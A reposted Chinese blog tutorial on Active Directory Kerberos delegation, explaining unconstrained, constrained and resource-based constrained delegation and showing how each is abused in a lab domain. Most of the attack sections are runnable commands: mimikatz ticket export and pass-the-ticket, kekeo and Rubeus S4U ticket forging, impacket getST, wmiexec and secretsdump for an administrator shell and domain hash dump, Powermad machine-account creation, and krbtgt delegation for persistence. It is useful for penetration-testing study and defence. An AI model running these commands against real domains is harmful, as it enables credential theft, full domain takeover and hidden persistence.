委派

Posted 2021-05-29 cAr7n

tags:

篇首语：本文由小常识网(cha138.com)小编为大家整理，主要介绍了委派相关的知识，希望对你有一定的参考价值。

PS:
网上已经有很多表哥写了关于域委派的文章，这里基于自己的理解大概写了关于委派的认证和利用过程，如果有错误可以私信我。小白一个，轻点骂。。。

委派概述：

域委派是指将域内用户的权限委派给服务账号，使得服务账号能以用户的权限在域内展开活动。
简言之：当A访问服务B时，服务B拿着A用户的凭证去访问服务C，这个过程称为委派。

委派的方式：

非约束委派和约束委派，基于资源的约束委派。

在域内只有主机账号和服务账号才有委派属性
主机账号：活动目录中的computers组内的计算机，也被称为机器账号。
服务账号：域内用户的一种类型，是服务器运行服务时所用的账号，将服务运行起来加入域内，比如：SQLServer,mysql等；域用户通过注册SPN也能成为服务账号。

委派的前提：

被委派的用户不能被设置为不能被委派属性。

查找非约束委派的主机或服务账号（域控默认配置非约束委派属性）：

1.利用powersploit中的powerview

Import-Module .\\PowerView.ps1;

查询非约束委派的主机
Get-NetComputer -Unconstrained -Domain hiro.com

查询非约束委派的服务账号
Get-NetUser -Unconstrained -Domain hiro.com | select name

2.利用ADFind

查找域中配置非约束委派的用户
AdFind.exe -b "DC=hiro,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

查找域中配置非约束委派的主机
AdFind.exe -b "DC=hiro,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

查找约束委派的主机或服务账号：

1.利用empire中的powerview

Import-Module .\\powerview.ps1;

查询约束委派的主机：
Get-DomainComputer -TrustedToAuth -Domain hiro.com | select name

查询约束委派的账号：
Get-DomainUser -TrustedToAuth -Domain hiro.com | select name

2.利用ADFind

查找域中配置约束委派用户:
AdFind.exe -b "DC=hiro,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

查找域中配置约束委派的主机：
AdFind.exe -b "DC=hiro,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

非约束委派

大致流程：

user访问serverA，于是向DC发起认证，DC会检查serverA的机器账号的属性，如果是非约束委派的话，会把用户的TGT放在ST票据中并一起发送给serverA
这样serverA在验证ST票据的同时也获取到了用户的TGT，并把TGT储存在自己的lsass进程中以备下次重用，从而serverA就可以使用这个TGT，来模拟这个user访问任何服务。

从攻击角度来说：如果攻击者拿到了一台配置了非约束委派的机器权限，可以诱导管理员来访问该机器，然后可以得到管理员的TGT，从而模拟管理员访问任意服务，相当于拿下了整个域环境。

利用：

域：hiro.com
域控：WIN-KONG IP：192.168.228.10 域管：administrator
受委派机器：WIN-E6FR4HVBPCI

现在将WIN-E6FR4HVBPCI这个机器账号设置为非约束委派。

通过命令行打开adsiedit.msc查看WIN-E6FR4HVBPCI机器属性，可以看到：

当被设置为非约束委派的时候，它的userAccountControl会包含TRUSTED_FOR_DELEGATION字段。

用域管访问WIN-E6FR4HVBPCI机器

然后在WIN-E6FR4HVBPCI上以管理员权限运行mimikatz

privilege::debug

导出票据

sekurlsa::tickets /export

此时拿到了管理员的票据，用mimikatz将票据注入内存中，然后访问域控

导入票据

kerberos::ptt [0;11eeaa]-2-0-60810000-Administrator@krbtgt-HIRO.COM.kirbi

查看票据

kerberos::list

非约束委派+spooler打印机

费约束委派常规利用感觉还是比较鸡肋，想得到域内权限必须要管理员与配置了委派的机器建立连接，所以有国外的大佬研究出了非约束委派+spooler打印机来强制与指定的主机进行连接。
开始域控为server2012，后面网上有的大佬说可能是版本的问题，后面升级到了server2016还是报错，这种情况复现不了了，有兴趣的可以自己试一试。也可以参考这篇文章。

约束委派

由于非约束委派的不安全性，微软在windows server 2003中引入了约束委派，对Kerberos协议进行了拓展，引入了S4U，其中S4U支持两个子协议：Service for User to Self (S4U2Self)和 Service for User to Proxy (S4U2proxy)，这两个扩展都允许服务代表用户从KDC请求票证。S4U2self可以代表自身请求针对其自身的Kerberos服务票据(ST)；S4U2proxy可以以用户的名义请求其它服务的ST，约束委派就是限制了S4U2proxy扩展的范围。

其中：

S4U2Self（用用户的TGT向KDC请求用户的ST，再用这张ST去发起S4U2proxy请求。）
通过此扩展可以拿到一张标识任意用户身份的ST，它的作用其实是协议转换。有时用户会通过其他协议（例如NTLM或什至基于表单的身份验证）对服务进行身份验证，因此他们不会将TGS发送给服务。在这种情况下，服务可以调用S4U2Self来要求身份验证服务为其自身的任意用户生成TGS，然后可以在调用S4U2Proxy时将其用作依据。例如网站A服务器可以使用它去向KDC请求一张用户B身份的ST，网站A服务器再用这张ST去发起S4U2proxy请求。

S4U2proxy（拿用户TGS请求用于访问服务器的ST）
该拓展作用是使用一张用户A身份的ST去向KDC请求一张用于访问文件服务器B的TGS，这张ST的身份还是用户ST，这样网站A就可以利用用户A的权限去访问文件服务器B上的文件了。

大致流程：

user访问serviceA，向DC发起kerberos认证，域控返回user的TGT和ST1票据，user使用ST1票据对serviceA进行访问

如果配置了serviceA到serviceB的约束委派，则serviceA能使用S4U2Proxy协议将用户发给自己的可转发的ST1票据以用户的身份发给DC。

域控返回serviceA一个用来访问serviceB的ST2票据,这样serviceA就能以用户的身份对serviceB发起访问。

上面说到了user使用ST1对serviceA进行访问，所以只能模拟用户访问特定的服务，但是如果能拿到约束委派用户的密码或者Hash，就可以伪造S4U的请求，伪装成服务用户以任意用户的权限申请访问。

利用：

域：hiro.com
域控:WIN-KONG@192.168.228.10 域管：administrator
受委派机器：WIN-RRI9T9SN85D@192.168.228.15 域用户：win7

首先在域控上将域用户win7注册成为SPN服务账号

setspn -S cifs/WIN-RRI9T9SN85D.hiro.com win7

查看是否注册成功

setspn -L win7

然后将win7用户设置约束委派的属性，为访问域控的cifs（访问文件夹）

通过命令行打开adsiedit.msc查看win7用户属性，可以看到：

当被设置为约束委派的时候，它的userAccountControl会包含TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION字段。

并且比非约束委派的账户多了msDS-AllowedToDelegateTo字段，里面包含了允许委派的服务

当知道win7这个服务用户的明文密码或者Hash时，可以用kekeo请求它的TGT

拥有明文密码

tgt::ask /user:win7 /domain:hiro.com /password:123456QWE.

拥有账户的Hash

tgt::ask /user:win7 /domain:hiro.com /NTLM:xxxx

PS:如果既不知道明文也不知道Hash，如果有了服务用户登录的主机权限，可以用mimikatz从内存中把服务用户的TGT dump下来照样可以实现

从内存中导出所有票据

sekurlsa::tickets /export

然后通过win7的TGT伪造s4u请求以administrator身份请求访问WIN-KONG cifs的ST

tgs::s4u /tgt:TGT_win7@HIRO.COM_krbtgt~hiro.com@HIRO.COM.kirbi /user:Administrator@hiro.com /service:cifs/WIN-KONG.hiro.com

用mimikatz将票据导入内存中

kerberos::ptt TGS_Administrator@hiro.com@HIRO.COM_cifs~WIN-KONG.hiro.com@HIRO.COM.kirbi

访问域控：

约束委派请求过程：

tgt::ask /user:win7 /domain:hiro.com /password:123456QWE.

AS-REQ

以用户win7请求TGT

AS-REP

AS返回用户win7的TGT，也就是得到了TGT_win7@HIRO.COM_krbtgt~hiro.com@HIRO.COM.kirbi

tgs::s4u /tgt:TGT_win7@HIRO.COM_krbtgt~hiro.com@HIRO.COM.kirbi /user:Administrator@hiro.com /service:cifs/WIN-KONG.hiro.com

TGS-REQ

win7用户用上一步得到的TGT，用上S4U2Self协议，以administrator的名义向TGS申请一张访问自身服务并且可转发的ST1票据。

TGS-REP

TGS返回administrator的ST1票据给win7

TGS-REQ

win7用户拿到了administrator的ST1票据后，win7带上这张可转发的访问自身服务的票据
，用上S4U2Proxy协议，以administrator用的名义请求一张访问WIN-KONG的CIFS服务的ST2票据

TGS-REP

TGS返回以administrator用户访问WIN-KONG的CIFS服务的票据，也就是得到了TGS_Administrator@hiro.com@HIRO.COM_cifs~WIN-KONG.hiro.com@HIRO.COM.kirbi

通过流程可以看出，第一步生成的可转发的ST1只是为了请求第二步以administrator用的名义请求一张访问WIN-KONG的CIFS服务的ST2票据。

利用约束委派权限维持

通过约束委派生成黄金票据

TGT由krbtgt Hash加密，如果能通过委派krbtgt服务，那么就能伪造任意用户的TGT了。

由于krbtgt默认是禁用的，所以无法使用页面添加它的SPN。

域控通过powershell添加win7到krbtgt的约束委派：

powershell -exec bypass

Import-Module ActiveDirectory

$user = Get-ADUser win7 （win7为设置为约束委派的服务账号）

Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("krbtgt/hiro.com") }

利用impacket套件攻击

伪造administrator的TGT

python3 getST.py -dc-ip 192.168.228.10 -spn krbtgt/hiro.com -impersonate administrator hiro.com/win7:123456QWE.

export KRB5CCNAME=administrator.ccache

用wmiexec弹出一个权限为administrator交互式的shell

python3 wmiexec.py -no-pass -k administrator@WIN-KONG.hiro.com -dc-ip 192.168.228.10

导出域内哈希

python3 secretsdump.py -no-pass -k WIN-KONG.hiro.com

基于资源的约束委派

传统的委派，在设置的过程中其实都是需要SeEnableDelegation特权，而这个特权需要域管理员才能设置。相对于传统的委派，基于资源的约束委派它不需要域管理员设置，而是机器本身。

约束委派和基于资源的约束委派的区别：

前者：通过服务A委派到服务B，实际是在服务A上修改TrustedToAuthForDelegation位和msDS-AllowedToDelegateTo 这两个字段来达到委派的目的。

后者：通过服务B来配置允许服务A对服务B的基于资源的约束委派。

所以当利用到基于资源的约束委派的时候，服务A的两个字段是没有赋值的，当这两个字段没有被赋值的时候，通过S4U2Self得到的ST服务票证是不可被转发的，而S4U2Proxy的作用就是将可转发的ST票据转发到其他服务进行委派认证的。但是：在基于资源的约束委派过程中，不可转发的ST仍可以通过S4U2Proxy转发到其他服务进行委派认证，并且最后还会返回一张可转发的ST服务票证。

因此，如果能够在服务B上配置允许服务A的基于资源的约束委派，那么就可以通过控制服务A使用S4U2Self向域控请求任意用户访问自身的服务票据，最后再使用S4U2Proxy转发此ST票据去请求访问服务B的可转发的ST服务票据，那么我们就可以模拟任意用户访问服务B了。这里可以以普通域用户的身份去创建机器账号作为服务A。

利用基于资源的约束委派(RBCD)需要2个条件：

1.拥有将域机器加入域的域用户的权限。（将机器B加入域的域用户拥有修改机器B的msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限。）

2.一个任意服务账户或者一个机器账户（每一个域用户都可以添加10个机器账户）

利用：

域：hiro.com
域控：WIN-KONG@192.168.228.10 域管：administrator
域内机器：DESKTOP-P34E60A，win10把这台机器加入到域内

通过ADFind查找将域机器拉入域的用户的SID：

AdFind.exe -b "DC=hiro,DC=com" -f "(&(samAccountType=805306369))" cn mS-DS-CreatorSID

查看S-1-5-21-3105699010-1460039537-418241315-1118是谁：

AdFind.exe -b "DC=hiro,DC=com" -f "(&(objectsid=S-1-5-21-3105699010-1460039537-418241315-1118))" objectclass cn dn

假如现在已经拿到了把DESKTOP-P34E60A这台机器加入域的用户win10的权限

使用whoami /all查询当前用户的sid

同样可以通过用户的sid查看哪些域机器是通过自己加入到域内的：

AdFind.exe -b "DC=hiro,DC=com" -f "(&(samAccountType=805306369)(mS-DS-CreatorSID=S-1-5-21-3105699010-1460039537-418241315-1118))" cn sAMAccountType objectCategory

如果一个机器账号没有mS-DS-CreatorSID，那么他是被域管拉入到域内的

利用powermad添加机器账户：(https://github.com/Kevin-Robertson/Powermad)

Import-Module .\\Powermad.ps1

以win10用户创建一个域机器名为win10system，密码为win10

New-MachineAccount -MachineAccount win10system -Password $(ConvertTo-SecureString "win10" -AsPlainText -Force)

验证是否创建成功：

net group "domain computers" /do

查询添加机器的SID：

1.域控上查询：

dsquery computer | dsget computer -dn -sid

或者powershell运行Get-ADComputer win10system

2.域机器上查询：（使用empire下的powerview）

Import-Module .\\powerview.ps1

Get-DomainComputer -Identity win10system

然后设置win10system到DESKTOP-P34E60A的基于资源的约束委派（使用empire下的powerview）

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3105699010-1460039537-418241315-1151)"

$SDBytes = New-Object byte[] ($SD.BinaryLength)

$SD.GetBinaryForm($SDBytes, 0)

Get-DomainComputer DESKTOP-P34E60A| Set-DomainObject -Set @{\'msds-allowedtoactonbehalfofotheridentity\'=$SDBytes} -Verbose

检查是否配置成功

Get-DomainComputer DESKTOP-P34E60A -Properties msds-allowedtoactonbehalfofotheridentity

攻击完成清除基于资源的约束委派配置：

Set-DomainObject DESKTOP-P34E60A -Clear \'msds-allowedtoactonbehalfofotheridentity\' -Verbose

也可以在域控上通过命令行打开adsiedit.msc查看CN=DESKTOP-P34E60A机器属性，可以看到：

当被设置为非约束委派的时候，它的msds-allowedtoactonbehalfofotheridentity会包含有效字段。

现在已经配置好利用条件就可以通过基于资源的约束委派进行攻击了

1.使用rubues获取票据

Rubeus.exe hash /user:win10system /password:win10 /domain:hiro.com

Rubeus.exe s4u /user:win10system$ /rc4:6C4FD556DB12BE51BACD9A3CC19D486E /impersonateuser:administrator /msdsspn:cifs/DESKTOP-P34E60A /ptt

2.使用impacket套件获取

python3 getST.py -dc-ip 192.168.228.10 -spn cifs/DESKTOP-P34E60A -impersonate administrator hiro.com/win10system$:win10

set KRB5CCNAME=administrator.ccache

python3 wmiexec.py -no-pass -k administrator@DESKTOP-P34E60A.hiro.com -dc-ip 192.168.228.10

利用基于资源的约束委派进行权限维持

跟约束委派利用相似，可以配置win10system到krbtgt的基于资源的约束委派，只要有了win10system的权限，就能伪造任意用户请求krbtgt服务，则可以请求到任意用户的TGT

在域控上执行：

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3105699010-1460039537-418241315-1151)"

$SDBytes = New-Object byte[] ($SD.BinaryLength)

$SD.GetBinaryForm($SDBytes, 0)

Set-DomainObject krbtgt -Set @{\'msds-allowedtoactonbehalfofotheridentity\'=$SDBytes} -Verbose

可以看到brbtgt的msds-allowedtoactonbehalfofotheridentity会包含有效字段。